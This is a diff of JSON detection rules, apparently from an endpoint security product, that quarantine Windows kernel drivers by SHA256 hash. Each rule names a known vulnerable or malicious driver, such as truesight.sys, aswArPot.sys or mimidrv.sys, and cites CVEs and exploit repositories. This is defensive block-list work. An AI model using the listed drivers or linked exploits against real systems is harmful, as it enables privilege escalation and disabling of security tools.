+  "id": "f87c4d78-9e91-5c97-b5d8-7b495888c0b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973025Z",
+  "creation_date": "2026-03-23T11:45:29.973026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9679758455c69877fce866267d60c39d108b495dca183954e4af869902965b3d",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f87e8c6f-d909-5ba6-bcfb-90c512429a89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816174Z",
+  "creation_date": "2026-03-23T11:45:30.816175Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0c52425dd90f36d110952c665e5b644bb1092f952942c07bb4da998c9ce6e5b",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8817a8c-2f14-5305-a925-839a0d3d0afb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829995Z",
+  "creation_date": "2026-03-23T11:45:31.829997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830003Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec0bf9819b63141cdf8f24415648a234ac220e28fa801c330a6bc9f954ee411c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f88e348a-46c6-54b5-9941-1f945fb3429c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155575Z",
+  "creation_date": "2026-03-23T11:45:31.155577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4add50747f10a3e9aceba7e52b26c4af95bebdfabfa5c9b5a10ed31adb8af823",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f88f0493-5201-598b-ae0a-9ae0d9d84321",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975394Z",
+  "creation_date": "2026-03-23T11:45:29.975396Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ddc5ff33a19baf1630a92723b5d0103fcc9ca58ee2a548526b9439eec3c97fe8",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8933aca-9712-50c8-8158-dafe3d71bc7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618531Z",
+  "creation_date": "2026-03-23T11:45:29.618533Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618539Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cee638c546efe5bd23880da9fa2b90e8dd0fd4a228fb0ad96f6c11d47a52593",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f89e0881-d4b5-58c8-ac08-863426404a29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612439Z",
+  "creation_date": "2026-03-23T11:45:29.612441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612447Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecfc52a22e4a41bf53865b0e28309411c60af34a44e31a5c53cdc8c5733e8282",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8ade152-b018-5723-b95e-7d67d90d09de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474021Z",
+  "creation_date": "2026-03-23T11:45:31.474025Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cc38edb6d2a12869cef4dbee74e8316f0df610b74fe26728094188c66eaa6cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8af7b62-56d6-59f7-98eb-92799aefc91e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829184Z",
+  "creation_date": "2026-03-23T11:45:30.829186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de4328d64c16df3d425ccd79c294016369784b8662a1de7891dfba556c720469",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8b0064e-c84a-56f1-861b-74bb4798413d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617678Z",
+  "creation_date": "2026-03-23T11:45:29.617679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "126719d008d106b7100ae47ed47666c1334701bd7ddb32d5b8e84048f258700f",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8cccdc4-ced6-5e08-a26d-249f38049ab3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825423Z",
+  "creation_date": "2026-03-23T11:45:31.825425Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825430Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "920b06859bfcff7484bf2a20d876bbcf1a6d65f8c72050afa388848ad01767e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8ce1ea4-9aab-502e-a73e-337ec869c3ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827525Z",
+  "creation_date": "2026-03-23T11:45:30.827527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3f8afc10771d473f9188d36e035bf96df394cb381c3f18b319f69f8648750e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8d1c31e-cdf4-54c7-a616-4787ff155945",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452515Z",
+  "creation_date": "2026-03-23T11:45:30.452518Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452526Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e42d8953f90e0b052adacd6c8e6cc240d723e5b4605ac897fe9667e661f9ed3c",
+  "comment": "Malicious Kernel Driver (aka c94f405c5929cfcccc8ad00b42c95083.sys) [https://www.loldrivers.io/drivers/ddefecdd-9410-46d9-8957-e23aac1aba0c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8d5b631-b174-53a1-accb-b55aaea18795",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821926Z",
+  "creation_date": "2026-03-23T11:45:31.821928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5fdf37acbd3e79bd58b41fb62b2f280d6a6c969b218ecab4bb279299f61adfd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8d8a329-d8e0-55a6-bdf0-f20da286c3d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479457Z",
+  "creation_date": "2026-03-23T11:45:30.479459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1d2d76829640542eabc0c96356675c0a930e4607869de8037daf62f898903b5",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8e45fc2-199e-5572-8624-ec1271d6285f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968421Z",
+  "creation_date": "2026-03-23T11:45:29.968423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cda1a6e33d14d5dd06344425102bf840f8149e817ecfb01c59a2190d3367024",
+  "comment": "Ours Technology Inc. Dangerous I/O Driver (aka otipcibus64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8e6ff44-980c-565d-8ae3-23e7e3eec757",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497615Z",
+  "creation_date": "2026-03-23T11:45:31.497617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6aa0d21b1220237c2fb7d857edca84352fc11a8b177a33344e54c1037e064d20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8e914cd-392d-5ffc-928c-3423d653b97b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480558Z",
+  "creation_date": "2026-03-23T11:45:31.480562Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8ae1c8e388b120b3ac6bb84d2b3d3b032e683f79281360a2cbfbcb3107e3f96",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8f0ca2c-dab8-5590-b2f7-8e4356626c4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616256Z",
+  "creation_date": "2026-03-23T11:45:29.616257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616263Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6ae7364fd188c10d6b5a729a7ff58a3eb11e7feb0d107d18f9133655c11fb66",
+  "comment": "Huawei vulnerable BIOS update tool (aka Phymemx64.sys) [https://www.loldrivers.io/drivers/268e87ba-ad44-4f3c-986f-26712cac68da/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8fe3526-971b-53c4-90d5-846568f51a6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970211Z",
+  "creation_date": "2026-03-23T11:45:29.970213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72f100edc998bb2fc40a3a7e7d76c6c37f7173b812f5cd7ae62c824b3fc63d57",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9031162-1e09-5420-84da-72885ee0bd62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463327Z",
+  "creation_date": "2026-03-23T11:45:30.463330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6157e033a12520c73dcedf8e49cd42d103e5874c34d6527bb9de25a5d26e5ad",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9042b32-c4ee-505e-bfef-95b727c438ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468167Z",
+  "creation_date": "2026-03-23T11:45:30.468171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468180Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e521e54a1e5a03abaae405b58a84758058f3fac5e8cd8a370f232c7dc7bb164",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f907231c-550b-5cd2-9a65-5a074c96c423",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
